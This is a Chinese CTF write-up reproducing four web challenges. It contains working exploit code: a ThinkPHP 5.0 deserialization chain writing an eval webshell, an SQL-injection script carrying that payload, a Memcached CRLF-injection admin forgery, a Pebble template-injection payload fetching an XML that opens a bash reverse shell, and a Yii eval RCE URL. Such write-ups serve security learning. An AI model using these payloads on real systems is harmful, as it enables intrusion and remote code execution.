0x01 前言

针对其他战队或者师傅写的WP,对印象比较深刻的几个赛题进行复现与总结

0x02 赛题复盘

1.thinkshop

题目中给有附件,是docker直接导出的环境,执行 docker load 命令后就是题目镜像了,可以进入镜像把题目源码打包下来,进行分析与调试。题目源码打包下来并不是全部能跑,看报错知道要用到一个 Memcached 的缓存插件,我下载这个插件后还是报错,也不知道问题出在哪。

题目后台登录也是我比较迷的一点,有了题目docker环境,可以直接进数据库里看到账号密码

password经过cmd5解密为123456,但是账号密码为 1 123456才能登录到后台

find 应该传键值对进去,但是默认把username字符串传进去了,所以默认是查询主键id(有点迷)

首先发现了在goods.html里有反序列化的操作

可以打反序列化,题目使用了thinkphp框架,并且是5.0.23版本,百度搜索5.0.24 反序列化的链子能用。接着就重点关注$goods[‘data’] 是否可控。

在添加商品里

显而易见的有可能可控的传参点,但是这里是个坑。我们可控的 $data[‘data’] 参数经过 markdownToArray 函数处理,而这个函数就是以换行为分隔符,把 $data[‘data’] 的值当作数组的键值,最终返回一个数组

所以这个地方并不可控,当时比赛的时候也想到了如果能直接修改数据库就好了。

在修改商品处

可控的data经过 saveGoods 方法,函数跟到底,最终会做一个数据库的更新操作

将 key 和 value 拼接在数据库里,value不可控,我们可以控制key

键名拼接sql语句,rtrim 函数会除去空格,所以用/**/代替空格,而处理键值对后最终效果就是

将第一个商品的data数据更新为66,这样就可以goods表中任意写数据了

<?php
namespace think\process\pipes;
use think\model\Pivot;

class Pipes
{

}

class Windows extends Pipes
{
private $files = [];

function __construct()
{
$this->files = [new Pivot()];
}
}

namespace think\model;
#Relation
use think\db\Query;

abstract class Relation
{
protected $selfRelation;
protected $query;

function __construct()
{
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}

namespace think\model\relation;
#OneToOne HasOne
use think\model\Relation;

abstract class OneToOne extends Relation
{
function __construct()
{
parent::__construct();
}

}

class HasOne extends OneToOne
{
protected $bindAttr = [];

function __construct()
{
parent::__construct();
$this->bindAttr = ["no", "123"];
}
}

namespace think\console;
#Output
use think\session\driver\Memcached;

class Output
{
private $handle = null;
protected $styles = [];

function __construct()
{
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}

namespace think;
#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;

abstract class Model
{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;

function __construct()
{
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();

}
}

namespace think\db;
#Query
use think\console\Output;

class Query
{
protected $model;

function __construct()
{
$this->model = new Output();
}
}

namespace think\session\driver;
#Memcached
use think\cache\driver\File;

class Memcached
{
protected $handler = null;

function __construct()
{
$this->handler = new File();//目的调用File->set()
}
}

namespace think\cache\driver;
#File
class File
{
protected $options = [];
protected $tag;

function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
'data_compress' => false,
];
$this->tag = true;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}

use think\process\pipes\Windows;
echo base64_encode(serialize([new Windows()]));

借用一师傅写的sql注入脚本

import requests

url = "http://192.168.111.146:36000/public/index.php/index/admin/do_edit.html"

cookies = {
"PHPSESSID":"mgsjnp8i87dae49ocrd5mubar7"
}
exp = "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"
data = {
'id': '1',
'name': '1',
'price': '1.00',
'on_sale_time': '2023-12-16T21:20',
'image': '123',
f"data`='{exp}'/**/WHERE/**/`id`/**/=/**/1;#": '123','data': '1'
}

re = requests.post(url=url,cookies=cookies,data=data)

print(re.text)

运行脚本,将payload写到数据库里了,再次访问第一个商品页面详情

生成的文件名都是固定的,在public目录下

可以成功拿到shell了。

2.thinkshopping

这个是thinkshop的复仇版本,同样的,将docker导出的镜像环境生成镜像。查询数据库后,admin表数据为空

使用 1 123456账号密码也登陆不了后台了。我在文章开头也说了,题目是有 memcached 插件的,而在登录这块代码逻辑

它是从缓存中获取数据,调试简单看看

key的值为 “think:shop.admin|123”

Memcached是一个开源、高性能的分布式内存对象缓存系统,并且数据是以键值对格式存储。该key对应的value就是密码。Memcached存在CRLF注入,具体细节参考以下文章:

https://www.freebuf.com/vuls/328384.html

在控制器中添加一个路由,看看缓存数据存储格式是什么样的。

它是将sql查询结果写进缓存里,但是题目数据库admin表并没有数据,所以需要我们手动添加账号密码

添加了账号为admin,密码为admin的md5值,接着访问test路由,然后连接题目的 11211端口,该端口是缓存服务器的开放端口,看看查询数据是否被写进缓存里了。

类似于php的序列化串,通过上文链接可知存在CRLF注入,所以在登录的时候,可以向缓存中写入任意数据,首先构造账号为admin,密码为123456的缓存数据

set think:shop.admin|admin 4 500 101 a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";} 

登录成功,注意随着admin传参,要有\r和\n,也就是CRLF。登录进去之后,之前的sql注入点并没有修复。可以利用sql注入漏洞来写shell或者读文件。

本地题目数据库查看 secure_file_priv 选项是否设置

value为空,没有设置可被导入的路径,那么就可以任意文件读取了。

读取的flag文件内容更新到goods表中的name字段,然后显示到游览器上。审计源码上思维还得多发散一些,不能总纠结一个地方,思路容易堵死。

参考链接:[CTF复现计划]2023强网杯初赛 thinkshop(ping)

3.hellospring

这道题并不算难,相关做法也比较清晰,只不过题目中加了waf,但是源码中给删了。黑盒绕waf,属实是难为我了。java的模板注入也没有学,只是怼着网上文章的payload打。

题目给了jar包,但是在本地搭建的时候又失败了,好像是因为模板文件配置的有问题。总的来说,在做代码审计题的时候,在环境搭建上花了不少功夫。

于是简单写了个dockerfile,能让模板文件跑起来,但是调试不了了。考的是pebble模板注入

uploadFile 路由用于上传pebble模板文件,根路由可以get传x参数指定pebble模板文件进行渲染。题目有黑名单,但是源码没有

上传的文件重命名了,根据上传的当前时间按照一定格式进行命名

可以本地docker起个环境,上传一个模板文件查看当前大致时间,然后利用burp发包访问,关键就在于payload的绕过,比赛的时候找了Y4师傅文章里的最新exp,但是没有反弹成功,然后看了其他师傅写的writewp,将”cationC”和”ontext”拼接,应该就是过滤了这个

{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlAppli"+"cationC"+"ontext") %}
{{ yyy.setConfigLocation("http://127.0.0.1:8889/1.xml") }}
{{ yyy.refresh() }}

通过该payload访问并解析指定的xml文件,并执行命令,反弹shell

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS83Nzg4IDA+JjE=|base64 -d|bash -i</value>
</list>
</constructor-arg>
</bean>
</beans>

4.Funweb(强网拟态)

当时组里参加比赛的同学发了一道强网拟态线下的白盒审计题,在此也记录一下

是Yii框架 1.1.14版本,现有的exp都是打不通的。yii爆出很多反序列化漏洞,但是没有反序列化入口。这道题是需要自己挖洞的。而且代码里也只有一个控制器 SiteController,当时看代码的时候只在乎明显的定义路由代码

明显的路由定义像什么 index,Contact,Login都是没有漏洞的,登录甚至没有数据库交互,就类似于前端页面。分析代码的时候完全忽略了actions,于是看了半天没找到一点突破口。在actions函数里注册了三个类,虽然不太懂为什么要这么做,但是 captcha 有点熟悉,在thinkphp里也见过,生成验证码的。

与普通路由访问方式差不多是一样的。我们突破口在 CacheAction 类

访问cache路由的时候会调用该类的run方法,param数组的参数也是可控的。至于为什么,后续调试都会说明。

获取当前控制器实例后,调用 beginCache 方法开启缓存,跟进

调用当前控制器的 beginWidget 方法,启动一个名为 'COutputCache' 的小部件

创建小部件,也就是 Widget

创建完成后,跟进init初始化方法,静态去跟进是成功不了的,所以只能调试去看

来到了 COutputCache 类的 init 方法,调用当前小部件(widget)的 getIsContentCached 方法,判断缓存内容是否已经存在。然后再跟进 checkContentCache 方法

目的是要调用 getCacheKey 函数,但前提就是满足 if 条件语句,requestTypes 属性默认为空

获取 cacheID 的值,所以要对该属性赋值,不让它为空即可,当然也不是随便赋值的

接下来调用 getCacheKey 方法

而在这里,对 varyByExpression 属性赋值,调用 evaluateExpression 方法

参数拼接,eval函数执行命令,能够成功RCE。那么payload为

index-test.php?r=site/cache&param[cacheID]=log&param[varyByExpression]=system(%22whoami%22)

路由调试浅析

接下来分析一下注册的cache路由是怎么调度的,以及public属性是怎么传递的

首先会执行主程序的 run 方法,然后调用 processRequest 方法处理用户请求

解析路由,将得到的路由信息执行控制器动作的方法,随后执行控制器的run方法

首先将cache与action拼接,判断控制器中是否存在对应的方法名。如果不存在,调用 createActionFromMap 方法,根据动作映射(通过 $this->actions() 获取)以及给定的 $actionID 创建一个动作对象。也就拿到了CacheAction类

在执行 runWithParams 方法的时候,会调用

将url中的参数值当作runWithParams 方法的参数传递,这也就是为什么类属性可控的原因。

最后就是利用反射获取run方法并执行,也就走到了 CacheAction 的run方法,后续开头分析过了,就不再重复说了。

0x03 结语

在分析代码的时候,个人感觉,最大的阻碍就是未知,也就是害怕看了半天代码结果没有漏洞,往往就止步不前。在以后审计代码的时候,要尝试静下心,还有坚持。

从这几道代码审计题中能够学到很多。

https://hurrison.com/posts/mimic2023/

https://blog.wm-team.cn/index.php/archives/69/